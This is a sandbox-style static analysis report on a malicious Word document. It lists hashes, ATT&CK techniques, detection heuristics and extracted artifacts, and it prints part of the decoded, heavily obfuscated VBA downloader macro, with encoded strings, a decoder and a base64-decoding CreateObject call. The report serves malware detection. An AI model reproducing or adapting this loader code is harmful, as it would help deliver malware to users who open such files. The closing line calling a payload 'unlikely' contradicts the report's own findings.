Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 036758a7559851fa…

MALICIOUS

Office (OOXML)

34.5 KB Created: 2020-07-09 11:45:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2020-09-24
MD5: 4d12df4ec5f2f0ce59d5d9ffd12feda7 SHA-1: c6da737b88b43b4f3d67ddbb5db2cfb9fb79c49e SHA-256: 036758a7559851fa28c9d93224ffde645a46b735c7c582e055c5f3316f43fea6
402 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

This OOXML document contains heavily obfuscated VBA macros, including an auto-executing loader that uses CreateObject and execution functions. The script attempts to download and execute a second-stage payload, as indicated by the ClamAV detection and the presence of obfuscated string concatenations that likely form URLs or commands. The primary technique observed is the use of Visual Basic for Application (T1059.005) to achieve execution, likely delivered via Spearphishing Attachment (T1566.001).

Heuristics 9

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 30463 bytes
SHA-256: c7b43b587f0f2ad2c6ec61ea29f22c3cc5ff695f662d2263b82f584f39a0d2c9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"

















Public CCsZSDpMGWkuHNGfNTSVWL As String
Public llll As String
Public IIII As String

Sub EwQmJRvAIJdhPcf()
    CCsZSDpMGWkuHNGfNTSVWL = hBSJBlm("wzglswx2i|i")

    llll = hBSJBlm("")
    IIII = hBSJBlm("")
    llll = llll & hBSJBlm("3SmNEEEE]MrpQhNom5M{m5MQm5MYm7MsH;hONnL3QgGwTKJ<Em{k{g<REgjm<JN\m5MUm4M<EhGPULmJ{LVOEhFUm4k]m5kkEhTn")
    llll = llll & hBSJBlm("TIqPRMwF5nL3QgGw{g<REgg88L\4E778S74ohiN]m5koEhRqm{|Pm5kgEhSPFMwF4MpINGVf[6J^[pL38Jlj[swW:8^heK9phEFs")
    llll = llll & hBSJBlm("h6pyeZVsXLgqF33Z:EEEEEE|35h\Z5h\eHt[iej35iqoEEEE[~LNYZJuE5JVePwFEEFXYKl\m^3K3=ZU:]{EEEFfQhNWeEE}{MVW")
    llll = llll & hBSJBlm("YpNXYpFs:5YyS33ZmgeH{5FskHQEEMrkekVUel=[eLZKrsf35Z<|35h\ez=XZqkxFll;3=[J{E/I}kIEEHL3lj^4FMr9:{psuw\m")
    llll = llll & hBSJBlm("\j3ZmgJsVWJiQj3ZQj=\ekhVZpFsx5jkG33Zz{EzEEE9|7YL[JHti3333~L3:^IFEEHt}UIEESlz3333P5J]gIQEN:8OJQ7kE\N7")
    llll = llll & hBSJBlm(":/wp;^HGo^jurvim5M6pu3;^g7u^5|6iHJv\mmV/qZUMq<pExVR^}9q\{7IpWH[Qu5fo:Xh{;|v\vq4R|ZSY6kFZg6Z}PYJr^[94")
    llll = llll & hBSJBlm("SmFRf7ttfK|lP~YyQGEsZ6py^K=7g}FSZGE6PnI;MJhTZ~]4S}FYgqpo^[94P~gyQHwkgr]:QXIyQGokfKpv^WFL^[Rvf{4OEF=L")
    llll = llll & hBSJBlm("^ewe{jzGyJiS5K\/iXQx;/mNtQSX6z~jnVj9I[ILeMhG{X9;oiZ4yUm43WPq7ZQGgN3L~eoUmqeLO~rkRxWgexPl^Y9enZ};{6jI")
    llll = llll & hBSJBlm("\yjlOgF^Fy8^ophGZOr6\8OlIhgRptSFmnL{4Omg^mPREUotyQ595QI[kKo\eL/QZp[mSrVLe^9t{Ul~Ki|W<Wf/lT5~~Exm<z6~")
    llll = llll & hBSJBlm("ONRMk9GqQ;Trpwk{zU\HeYVVUMYj9~JlSEm9LRJ=OPjK6KN{U<KEr<sWO4<Zpe<[5=74e|Pl:T7xH}MseIWv5}=J8F8EeTG5spf3")
    llll = llll & hBSJBlm("5[tEeEEUEEFsEEFEEJhs[OVX9j3Zo;oEEEEEEhpVY8rrZ6kEMEEEY5^sIteN8z3ZlgF4|swLEgSJ{L\p[QTsmj7337Rsf7EygqZo")
    IIII = IIII & hBSJBlm("3SmNEEEE]MrpQhNom5M{m5MQm5MYm7MsH;hONnL3QgGwTKJ<Em{k{g<REgjm<JN\m5MUm4M<EhGPULmJ{LVOEhFUm4k]m5kkEhTn")
    IIII = IIII & hBSJBlm("TIqPRMwF5nL3QgGw{g<REgg88L\4E778S74ohiN]m5koEhRqm{|Pm5kgEhSPFMwF4MpINGVf[6J^[pL38Jlj[swW:8^heK9phEFs")
    IIII = IIII & hBSJBlm("h6pyeZVsXLgqF33Z:EEEEEE|35h\Z5h\eHt[iej35iqoEEEE[~LNYZJuE5JVeEYMEEFXYKl\m^3K3=ZU:]{EEEFfQhNWeEE}{MVW")
    IIII = IIII & hBSJBlm("YpNXYpFs:5YyS33ZmgeH{5FskHQEEMrkekVUel=[eLZKrsf35Z<|35h\ez=XZqkxFll;3=[J{E/I}kIEEHL3lj^4FMr9:{psuw\m")
    IIII = IIII & hBSJBlm("\j3ZmgJsVWJiQj3ZQj=\ekhVZpFsx5jkG33Zz{EzEEE9|7YL[JHti3333~L3:^IFEEHt}UIEESlz3333P7k~^owE\rLnEJ4qRQ8g")
    IIII = IIII & hBSJBlm("o=4ujNuZMNh<wYEQQm[xpp}poUt:Jz4fmmF7^oMO:7Oe6jVLN3^OsogR4jeye<ms=eWM\3O9TmmSQHXU5tHPzkFZg6Z}PYJr^[94")
    IIII = IIII & hBSJBlm("SmFRf7ttfK|lP~YyQGEs]6=xgKJ4e[Nw^XwkXZRNVWE9PnE;MJhtfqVzh7QkXpUkRm8|S}F\X5g6RHwkZLNt^KZyhG<5PnE;MINT")
    IIII = IIII & hBSJBlm("WYY9S4ZSZZRRY4YtHUsEoYtyp<vm:uVS:rRY3v9Xp|Rrgng<^fFI:YmZ/KlMYJHOs[j4eJ5^irv[vw^;7R;mvfFG=]e/jH=oExkw")
    IIII = IIII & hBSJBlm("HggZws[R/vMIeW^WPPULQrtHv\r8QF[Hlx]~GGWP9<^=x^Ss~Pq^rxW[JYZN8xkYvIJ[;\NUptoqIJzfLkXYKfuusV^zK]}xZnhy")
    IIII = IIII & hBSJBlm("jT;smxLt4z8LE5S]IPMWm}]MQ<s/O;g/8hWxjRs49XuOS3mug]peG~5RO9/mIWOSKYVY6P]oSZU3s3F\8O6;ORzTKPkEeTG5spf3")
    IIII = IIII & hBSJBlm("5[tEeEEUEEFsEEFEEJhs[OVX9j3Zo;oEEEEEEhpVY8rrZ6kEMEEEY5^sIteN8z3ZlgF4|swLEgSJ{L\p[QTsmj7336^lfqhqh\tt")
    llll = llll & hBSJBlm("fKp~hG9ni[=5EFM4ZrkA")
    IIII = IIII & hBSJBlm("Pq^w]\Rs^Kplf7p5PrF7EFM4ZrkA")
    

End Sub

Private Function YQQMUSMDxxDNKiwBEN(cxhvsNAMv)
    On Error Resume Next
    Dim gMDKP, yyBhLIwuUwdThuvSK
    Set gMDKP = CreateObject(hBSJBlm("Qmgvswsjx2\QPHSQ"))
    Set yyBhLIwuUwdThuvSK = gMDKP.createElement(hBSJBlm("xqt"))
    yyBhLIwuUwdThuvSK.DataType = hBSJBlm("fmr2li|")
    yyBhLIwuUwdThuvSK.Text = cxhvsNAMv
    YQQMUSMDxxDNKiwBEN = yyBhLIwuUwdThuvSK.NodeTypedValue
End Function

Function iSajNIlrgNvsUEHwJ()
    Dim PEWCWPQ
        PEWCWPQ = hBSJBlm("4445444444JJJJJJJJ45444
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 51712 bytes
SHA-256: bd272d4b9455d069d38e74b0f87cac0ab7e6b434dece82d7a0d70f39c6531d7b
Detection
ClamAV: Doc.Downloader.Generic-6698421-0
Obfuscation or payload: unlikely